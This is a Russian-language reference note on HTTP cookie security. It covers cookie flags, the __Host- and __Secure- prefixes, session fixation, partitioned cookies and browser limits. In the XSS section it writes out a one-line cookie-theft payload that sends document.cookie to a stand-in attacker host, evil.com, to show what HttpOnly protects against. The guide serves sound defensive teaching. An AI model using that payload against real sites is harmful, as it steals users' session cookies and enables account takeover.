Cookie security
HTTP-куки — вектор для XSS-краж, CSRF, session-hijack. Правильные флаги закрывают половину проблем.
Флаги
| Флаг | Что делает |
|---|---|
| Secure | кука уходит только по HTTPS. Обязательно для sensitive. |
| HttpOnly | JS не может прочитать через document.cookie. Защита от XSS-кражи. |
| SameSite=Strict/Lax | защита от CSRF. См. SameSite. |
| Domain | для каких доменов. Без — только для того что установил. |
| Path | для каких путей. Обычно /. |
| Max-Age / Expires | время жизни. Без — session cookie. |
Пример правильной сессионной куки
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
__Host- и __Secure- префиксы
__Secure-— обязателенSecure__Host-—Secure+Path=/+ безDomain(нельзя расшарить с поддоменами)
Set-Cookie: __Host-session=abc; Secure; HttpOnly; Path=/; SameSite=Strict
Браузер отклонит куку с префиксом если условия не соблюдены. Защита от subdomain-injection.
Session fixation
Атакующий устанавливает свою session-cookie до логина жертвы. После логина сервер продолжает ту же сессию → атакующий тоже залогинен.
Защита: после логина всегда генерить новый session ID.
Session hijack через XSS
Если нет HttpOnly — fetch('//evil.com?c='+document.cookie). С HttpOnly — куку не украсть, но XSS всё равно опасен (запросы отправляются с куками автоматически).
Партишн-куки (CHIPS)
Chrome: Partitioned — куку от a.com, встроенного в b.com, изолируют по top-frame. Замена сторонних кук для embedded-сервисов.
Set-Cookie: __Host-3rd=xyz; Secure; HttpOnly; SameSite=None; Path=/; Partitioned
Ограничения
- Максимум ~4KB на куку
- Максимум 50-180 кук на домен (браузер зависит)
- При переполнении — LRU выкидывает